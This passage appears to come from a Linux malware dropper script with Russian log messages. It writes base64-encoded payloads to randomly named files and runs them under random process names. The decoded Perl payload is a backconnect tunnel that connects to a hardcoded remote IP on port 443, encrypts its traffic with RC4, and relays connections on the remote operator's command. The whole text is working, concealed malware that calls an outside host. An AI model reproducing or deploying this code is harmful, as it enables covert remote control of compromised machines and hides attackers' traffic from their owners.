CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #41 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #41 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 42 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs 